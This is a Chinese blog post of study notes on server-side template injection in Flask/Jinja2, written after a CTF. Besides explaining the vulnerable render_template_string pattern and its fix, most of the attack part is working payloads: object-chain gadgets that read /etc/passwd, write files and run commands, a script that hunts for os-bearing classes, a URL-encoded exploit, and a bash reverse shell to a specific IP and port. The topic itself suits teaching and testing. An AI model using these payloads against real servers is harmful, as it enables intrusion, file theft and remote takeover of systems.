• python-flask模块注入(SSTI)


    前言:

    第一次遇到python模块注入是做ctf的时候,当时并没有搞懂原理所在,看了网上的资料,这里做一个笔记。

    flask基础:

    先看一段python代码:

    from flask import flask 
    @app.route('/index/')
    def hello_word():
        return 'hello word'

    这里导入flask模块,简单的实现了一个输出hello word的web程序。

    route装饰器的作用是将函数与url绑定起来。这里的作用就是当访问http://127.0.0.1/index的时候,flask会返回hello word

    1.渲染方法:

    flask模块的渲染方法有render_template和render_template_string两种。

    render_template()是用来渲染一个指定的文件的。使用如下

    return render_template('index.html')

    render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

    html = '<h1>This is index page</h1>'
    return render_template_string(html)

    2.模块:

    flask是使用Jinja2来作为渲染引擎的。

    在网站的根目录下新建templates文件夹,这里是用来存放html文件,也就是模板文件。

    test.py内容如下:

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html')

    /templates/index.html的内容为:

    <h1>This is index page</h1>

    访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。

    模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。

    from flask import Flask,url_for,redirect,render_template,render_template_string
    @app.route('/index/')
    def user_login():
        return render_template('index.html',content='This is any page.')

    /templates/index.html

    <h1>{{content}}</h1>

    这里index.html页面将输出 This is any page.

    {{}}在Jinja2中作为变量包裹标识符。py代码里面可以给content变量传任意参数。

    模块注入(SSTI)

    不正确的使用flask中的render_template_string方法会引发SSTI。

    xss利用:

    存在漏洞的代码

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)

    这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,传入get变量id即可任意输入,会和html拼接后直接带入渲染。

    尝试构造code为一串js代码:

     模板注入并不局限于xss,它还可以进行其他攻击。

    SSTI基础测试

    在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

    这里还是用上文中存在漏洞的代码:

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        html = '''
            <h3>%s</h3>
        '''%(code)
        return render_template_string(html)

    构造参数{{7*7}},结果如下

     可以看到表达式被执行了。

    试着访问flask模块的全局变量config:

     通过{{}}变量包裹符进行简单的表达式测试来判断是否存在SSTI漏洞

    SSTI文件读取:

    首先要知道python所有类的几个魔法方法:

    __class__  返回类型所属的对象(类)
    __mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
    __base__   返回该对象所继承的基类
    // __base__和__mro__都是用来寻找基类的
    __subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
    __init__  类的初始化方法
    __globals__  对包含函数全局变量的字典的引用

    构造payload的大致思路是:找到父类<type 'object'>–>寻找子类(可能存在对文件操作的类file)–>找关于命令执行或者文件操作的模块

    也就是通过python的对象的继承来一步步实现文件读取和命令执行的。

    1.获取字符串的类对象(获取一个类):

    >>> 'a'.__class__
    <type 'str'>

    2.寻找基类链,找到<type 'object'>类

    >>> 'a'.__class__.__mro__
    (<type 'str'>, <type 'basestring'>, <type 'object'>)

    3.寻找<type 'object'>类的所有子类中可用的引用类

    >>> 'a'.__class__.__mro__[2].__subclasses__()
    [<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

    这里可以看到有一个<type 'file'>类,也就是对文件操作的类,那么可以拿他的方法进行文件读取。

    4.利用<type 'file'>的read()方法进行文件读取

    'a'.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

    放入SSTI注入点处:

     可以看到读取到了文件内容。

    SSTI命令执行

    继续看命令执行payload的构造,思路和构造文件读取的一样。

    python中进行命令执行的模块是os,那么寻找包含os模块的应用类:

    贴一个快速寻找os模块的脚本(利用globals可查看到此类包含所有模块的字典):

    # encoding: utf-8
    num=0
    for item in ''.__class__.__mro__[2].__subclasses__():
        try:
             if 'os' in item.__init__.__globals__:
                 print(num)
                 print(item)
             num+=1
        except:
            print('-')
            num+=1

    输出:

    -
    71 <class 'site._Printer'>
    -
    -
    76 <class 'site.Quitter'>

    那么下标为71,76的这两个类里面存在os模块。

    os模块中的system()函数用来运行shell命令;但是不会显示在前端,会在系统上自己执行。
    
    listdir()函数返回指定目录下的所有文件和目录名。返回当前目录('.')

    os模块更多函数可自行百度。

    命令执行payload:

    'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    'a'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('bash -i >& /dev/tcp/47.107.12.14/7777 0>&1')

    构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到.

    这里可以使用bash等一系列反弹命令将shell反弹到自己的vps上,或者利用curl将结果发送到自己的vps上。

    SSTI常用payload收集:

    //获取基本类
    ''.__class__.__mro__[1]
    {}.__class__.__bases__[0]
    ().__class__.__bases__[0]
    [].__class__.__bases__[0]
    object
    
    //读文件
    ().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
    object.__subclasses__()[40](r'C:1.php').read()
    
    //写文件
    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
    
    //执行任意命令
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
    object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

    官方漏洞利用方法:

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}         //poppen的参数就是要执行的命令
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}

    将上面这一串当作注入点参数传递即可执行命令:

    http://192.168.1.10:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}%20{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}%20{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}%20{%%20if%20b.__class__%20==%20{}.__class__%20%}%20{%%20if%20%27eval%27%20in%20b.keys()%20%}%20{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}%20{%%20endif%20%}%20{%%20endif%20%}%20{%%20endfor%20%}%20{%%20endif%20%}%20{%%20endfor%20%}

    这里执行的是系统命令id,可在popen("")中填入任意系统命令均可执行。

    漏洞修复

    将传入可控参数的地方加上变量包裹符{{}},即可防止表达式执行。

    将上面存在漏洞的代码改为如下:

    @app.route('/test/')
    def test():
        code = request.args.get('id')
        return render_template_string('<h1>{{ code }}</h1>',code=code)

    输入一个表达式测试一下:

     可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。

    参考链接:https://www.freebuf.com/column/187845.html

  • 相关阅读:
    Django之templates模板
    Django视图函数之request请求与response响应对象
    Django视图函数之三种响应模式
    Django视图函数函数之视图装饰器
    django 获取request请求对象及response响应对象中的各种属性值
    Django 项目中设置缓存
    python 中 使用sys模块 获取运行脚本时在命令行输入的参数
    Mac 设置终端中使用 sublime 打开文件
    iterm2 恢复默认设置
    Python replace方法的使用
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11971164.html
Copyright © 2020-2023  润新知